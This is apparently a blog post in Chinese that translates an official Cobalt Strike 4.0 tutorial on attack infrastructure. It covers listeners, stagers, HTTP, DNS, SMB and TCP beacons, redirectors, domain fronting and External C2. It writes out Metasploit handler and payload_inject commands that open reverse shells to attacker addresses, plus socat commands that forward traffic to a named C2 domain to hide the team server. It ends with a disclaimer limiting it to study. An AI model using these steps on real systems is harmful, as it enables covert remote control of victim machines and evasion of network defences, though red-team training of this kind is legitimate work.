【安全工具】Cobalt Strike 4.0系列教程:(二)infrastructure

Infrastructure(基础建设)

本系列教程并非原创,仅用于学习交流。



前言

基于最近本人在学习CS4.0,从各方面的学习,教程拿出来给大家分享。Cobalt Strike 4.0系列教程是按照官方发布的Cobalt Strike教程,进行的汉化翻译。原视频可在bilibili上搜索,同时感谢汉化组的分享。因为工具的强大性和实用性,所以想做一期专栏,希望大家支持。


提示:以下是本篇文章正文内容,下面案例可供参考

一、listener management(监听器管理)

一个listener配置一个Cobalt strike payload,也只匹配一个payload控制器。在Cobal Strike中有如下三种监听器:

  1. egress:入口监听器
  2. peer-to-peer:通过父级payload使用
  3. alias:调用第三方的payload 处理器

添加listener时确保每一个都其对应的名称,名称很重要,因为这样便于团队的其他成员去使用它。

在这里插入图片描述
以下列出了你可以创建的监听器类型:

二、stager

stager是一个用来和C2建立连接并下载payload,然后执行payload的轻量级程序。
有时候目标环境限制了执行程序的大小,所以经常会制作比较轻量级的程序来执行payload,常见的有Powershell一句话。

stageless直接省略了下载payload的步骤,所以一般生成的stageless程序都是exe或者dll文件,相对stager来说要大得多,而且包含了一些特征。

在CS4中,stagers不再作为最流行的工具来使用,但是一些由用户驱动的攻击仍然使用stager。stager将不再对其控制端进行权限认证,因此stager将变得不安全。stager也变得脆弱了,如果它碰到了一些没有预期的情况时,可能stager会崩溃。这些stagers之所以还保留着是因为它们是为Metasploit框架服务的。stager的代码内容也是很容易被发现的,而且任何一种内存扫描器也应该能够发现它们。CS没有能力去在内存中清除这些特征或者是给他们添加混淆。

三、stager工作流程举例

在这里插入图片描述
通过打开一个带有宏的word文档来创建子进程,然后通过打开文档执行宏代码执行stager程序,接着stager将通过HTTP或HTTPS协议请求C2控制器,请求的URI上会带有一个校验值,在校验值通过检查后,服务器将会将payload传回,然后stager将开始执行该payload。

如果你的stager是请求到Metasploit Framework Handler上,那么你将获得一个不够健壮(immature)的payload。如果你是请求到Coballt Strike的web服务上,那么你将获得一个beacon payload。

Metasploit Framework作为控制器的话,payload需要配置为windows meterpreter reverse http 或者 reverse https。Metasploit的攻击流程也是一样的,发送GET请求,然后下载Cobalt strike beacon payload,所以Cobal Strike允许你使用一个Metasploit Framework生成的exp来传输Cobal Strike beacon。

另外,Cobal Strike还可以派生shell给Metasploit(前提是有个beacon shell)。

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.100
lhost => 192.168.1.100
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit

Metasploit 也可以派生shell给Cobal Strike(前提有一个meterpreter)

msf exploit(handler) >  use exploit/windows/local/payload_inject
msf exploit(payload_inject) >  set PAYLOAD windows/meterpreter/reverse_http
msf exploit(payload_inject) > set DisablePayloadHandler true
msf exploit(payload_inject) > set LHOST 192.168.229.143
msf exploit(payload_inject) > set LPORT 1212
msf exploit(payload_inject) > set SESSION 1
msf exploit(payload_inject) > exploit

这样就可以从Cobal Strike传递一个session给Metasploit,也可以传递一个session从一个Cobal Strike实例给另外一个没有连接的Cobal Strike实例。
Cobal Strike是用foreign listener来实现配置payload handler参数的。

四、HTTP Beacon介绍

1. 配置HTTP Beacon:

可以设置连接到多个主机(域名、IPv4、IPv6都可以,IPv6需要标准格式[::])
在这里插入图片描述
配置代理(可选项):
在这里插入图片描述
配置完毕后在Attacks - Web Drive-by - Scripted Web Delivery菜单配置web服务:
在这里插入图片描述
点击launch后会生成powershell一句话,复制到目标主机运行这个powershell脚本:
在这里插入图片描述
Cobal Strike将会与http beacon建立连接:
在这里插入图片描述

2. HTTP Beacon传输过程

场景举例:一个C2控制器、一个运行了http beacon的目标主机
http beacon 向C2控制器发送GET请求,判断有无内容返回:

(1) 若C2无内容返回,那么beacon将会进行睡眠状态,之后beacon将会在一开始配置好的时间之后重新请求C2。
(2) 当C2返回了请求内容时,内容将会是一些被加密过的需要执行的payload。

当http beacon执行完payload之后需要将结果回传给Cobal Strike时,它将使用POST请求,请求内容为payload执行的结果被加密后的密文。如果payload执行后没有输出结果,那么将不会发送POST请求。

HTTPS Beacon的用法和HTTP一样,只是HTTPS使用了SSL证书而已

五、Redirector(重定向器)

1. 介绍redirector

在这里插入图片描述
一般redirector设置在你的Cobal Strike实例和你的目标网络之间,redirector会将流量转发至你的Cobal Strike实例。redirector存在的意义是为了模糊你的Cobal Strike的Team server的位置,这相当于为你的Cobal Strike team server设置了多个IP地址。

你可以使用iptables、socat或者其他工具去转发流量到你的Cobal Strike Team server。命令如下:

socat TCP4-LISTEN:80,fork TCP4:[team server]:80

你也可以启用一个Apache或者Nginx服务作为你的Cobal Strike的反向代理来替代redirector的作用。

你还可以使用CDN,比如Amazon的Cloudfront来作为一个redirector转发https流量到你的Cobal Strike。

2. 使用socat实现一个redirector

环境说明:

  • c2:secure.losenolove.com
  • redirector:54.158.156.250, 34.207.207.199.101
    #在54.158.156.250上执行如下命令
    #先安装socat
    sudo apt-get update && apt-get install socat
    #socat转发
    sudo socat TCP4-LISTEN:80,fork TCP4:secure.losenolove.com:80
    直接访问http://54.158.156.250/bar ,然后在Cobal Strike的web log上就可以看到访问记录了

Cobal Strike配置redirectors:
在HTTP HOSTS里添加
在这里插入图片描述

3. 使用CDN实现一个redirector

CND Redirector要求如下

  1. 网站使用SSL证书
  2. 配置允许使用HTTP POST和GET方法
  3. 避免出现问题,需要在C2配置文件里设置允许使用HTTP GET方法下载任务和回传数据给Cobal Strike
  4. 禁用所有缓存选项(避免数据不转发到服务器)
  5. 清楚地知道你传输的内容

注:由于某些CDN(比如Cloudfront会修改cookie)在传输过程中可能会对HTTP header头部的内容进行修改。这本来没什么影响除非你的C2设置了通过HTTP headr的Cookie字段来传输数据给Cobal Strike。所以对于CDN转发的内容你得清楚地知道。

使用CDN Redirector有一个比较好的东西需要了解,那就是Domain Fronting(域前置),可以参考深信服社区的一篇文章Domain fronting域名前置网络攻击技术

实际效果是beacon向一个信誉度比较高的网站发送请求时,设置HTTP header里的Host为我们在CDN配置完毕后获得的一个CDN的二级域名(比如xxx.cloudfront.net),然后这个HTTP请求就会转发到CDN的地址,再转发到C2的地址。

如果目标主机使用了代理服务器向外界发送HTTP请求,那么在使用Domain Fronting时,代理服务器可能会检测到请求的URI和Host中的内容不一致,然后就会自动将Host的内容替换为URI中的域名,接着该请求就会发送给那个信誉度比较高的网站。然而如果你使用了HTTPS,一般就不会出现这个问题。(有些企业会对HTTPS流量进行监测,如果被监测发现了,Host头还是有可能会被纠正)

然而现在有些CDN自己开始对SSL流量进行监测去避免Domain Fronting。但是使用SSL协议传输,严格地说是使用TLS协议传输的数据包中HTTP协议的外层有一层SNI(Server Name Indication),SNI告诉了CDN这个HTTPS请求应该发给谁(实际SNI的值与Host的内容一致),然后CDN监测到了就会纠正这个HTTPS请求

#SNI举例:
Extension: server_name
Type: server_name (0x0000)
Length: 19
Server Name Indication extension
Server Name list length: 17
Server Name Type: host_name (0)
Server Name length: 14
Server Name: www.github.com

现在如果你想做Domain Fronting,那么可以直接在添加Listener的时候设置HTTP Host Header(可以参考0x04添加Listener那张图)。

六、Server Consolidation(巩固服务器)

在这里插入图片描述

  1. 在Cobal Strike4中,你可以定义多个egress listener(相当于内网入口)
  2. HTTP Port(Bind)用于以下场景:Redirector使用80端口,HTTP C2则使用另外一个端口(即当前设置项的内容),实际流量是从Redirector的80端口进入,然后再转发到你设置的这个listener绑定的端口
  3. 现在每一个listener都有一个可修改的的配置文件
  4. 现在可以配置多个TCP和SMB listener了

七、DNS Beacon

1. 介绍DNS Beacon

DNS beacon是通过DNS解析来访问Cobal Strike Team Server的,所以运行Cobal Strike Team Server的服务器需要关闭本地的,运行Beacon的主机会将beacon的标识符伪装成一个子域名。
在这里插入图片描述
DNS Beacon举例:

  1. DNS Beacon向本地DNS缓存查询是否有域名1234.profiles.losenolove.com的解析记录
  2. 本地缓存未查询到时,本地DNS服务器将会向根服务器请求解析该域名,根域名服务器发现域名是.com的域名,便指示本地DNS服务器去.com域名服务器查询
  3. com服务器收到解析请求后将解析请求转发给网站注册的域名服务器(此处是godaddy)
  4. 网站注册的域名服务器再将解析请求转发给losenolove.com的网站服务器(Cobal Strike Team Server)
  5. Cobal Strike Team Server收到解析请求后检查是否存在与该域名相关的任务在运行,如果有,通常情况下Team Server会将payload放置到响应内容中返回给本地DNS服务器,本地DNS服务器再转给DNS Beacon;
  6. DNS Beacon执行完相关命令后,将数据加密后再放置到一个子域名中(类似1234.profiles.losenolove.com中的1234),然后再对该子域名发送DNS解析请求
    在这里插入图片描述
    这里相比CS3而言,CS4的DNS Beacon可以设置Redirector。

DNS Stager host可以用于设置Redirector,Port(Bind)可以用于redirector的其他端口(默认为53端口),而Cobal Strike Team Server则使用53端口
在这里插入图片描述
鉴于HTTP可能存在无法访问的风险,新的DNS Beacon将不再使用HTTP通道,即不再使用HTTP下载Payload,默认将使用dns-txt通道通过DNS txt记录解析传输至Cobal Strike Team Server,然后通过DNS A请求返回payload。在Beacon的操作终端上可以切换通道(channel)。但是DNS请求内容和返回内容限制了长度,所以dns-txt会最大化使用域名长度(根据配置设定),dns-txt也是相对而言最好的。而dns和dns6则会对这种域名进行截断,因为在某些网络里,非常长的域名将会被自动拦截。

2. 实现一个DNS Beacon

在这里插入图片描述
准备工作:

  1. 申请一个域名并创建一个A记录给你的Cobal Strike Team Server(即域名解析为IP)
  2. 创建一个NS记录给你申请的域名(解析子域名)

实例举例:
  Team Server域名:malwarec2.losenolove.com
  创建一个DNS Beacon listener:

linux下可使用dig +trace [域名]查看域名的解析过程
在目标主机执行powershell一句话执行DNS Beacon,Team Server结果如下:

在这里插入图片描述
界面上没有主机信息显示是因为没有发送测试数据,可以直接右键点击Interact进行交互后获得主机信息。可以使用sleep 5修改心跳时间(默认1min)
在这里插入图片描述
DNS通道是一个被限制数据大小的通道,如果需要传输大文件,那么可能需要通过发起多次DNS解析请求来传输,比如执行截图命令、执行Mimikatz,这将消耗很长时间。

八、SMB Beacon

1. 介绍SMB Beacon

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacon连接后,子Beacon从父Beacon获取到任务并发送。因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中通过445端口进行传输。

2. 创建SMB Beacon Listener

在这里插入图片描述

3. 连接和断连SMB Beacon

在这里插入图片描述
在Beacon控制台上输入link [host] [pipe name]命令进行连接Beacon操作,输入unlink [host] [pid]命令进行断连Beacon操作。如果你断开了当前Beacon的连接,那么它与它的子级Beacon也会断开连接。而这个子级Beacon将会进入到一个等待父级Beacon连接的状态。当你连接到一个Beacon时,可能会出现错误代码提示,上图举例说明了几个。

4. 创建一个SMB实例

接着上面的DNS Beacon执行如下操作:
创建一个Cobal Strike Listener:

在这里插入图片描述
执行权限提升:
在这里插入图片描述
在这里插入图片描述
payload将会通过DNS Beacon传输并执行。
在这里插入图片描述
如果想要图形化地查看Beacon的关系,可以点击Cobal Strike - Visualization > Pivot Graph进行查看
在这里插入图片描述

九、TCP Beacon

1. 介绍TCP Beacon

在这里插入图片描述
TCP Beacon和SMB Beacon很像,它也可以被一个父级Beacon所控制,父级Beacon可以是TCP Beacon,也可以是SMB Beacon。这里的Bind to localhost only用于你需要使用TCP Beacon进行主机渗透的权限提升或者横向渗透的情况。

2. 连接和断开Beacon

#连接到一个TCP Beacon
connect [host] [port]

#断连一个TCP Beacon,断连后将进入一个等待连接的状态
unlink [host] [pid]

3. 实例演示TCP Beacon

基于之前的DNS Beacon 创建Listener:
在这里插入图片描述
DNS Beacon执行Spawn as
在这里插入图片描述
手动设置
在这里插入图片描述
payload也是通过DNS Beacon传输的
在这里插入图片描述
橙色的线代表连接的是SMB Beacon,蓝绿色的线则代表TCP Beacon

十、External C2

在这里插入图片描述
ExternalC2是由Cobalt Strike提出的一套规范/框架,它允许用户根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展。

  1. 第三方控制器:负责创建与Cobalt Strike TeamServer的连接,并使用自定义C2通道与目标主机上的第三方客户端进行通信。
  2. 第三方客户端:负责使用自定义的C2通道与第三方控制器进行通信,并将命令中转到SMB Beacon。
  3. SMB Beacon:在受害者机器上运行的标准Beacon。

声明:本教程仅用于学习交流,请勿用于其他用途!

posted @ 2022-05-11 22:15  Master先生  阅读(499)  评论(0编辑  收藏  举报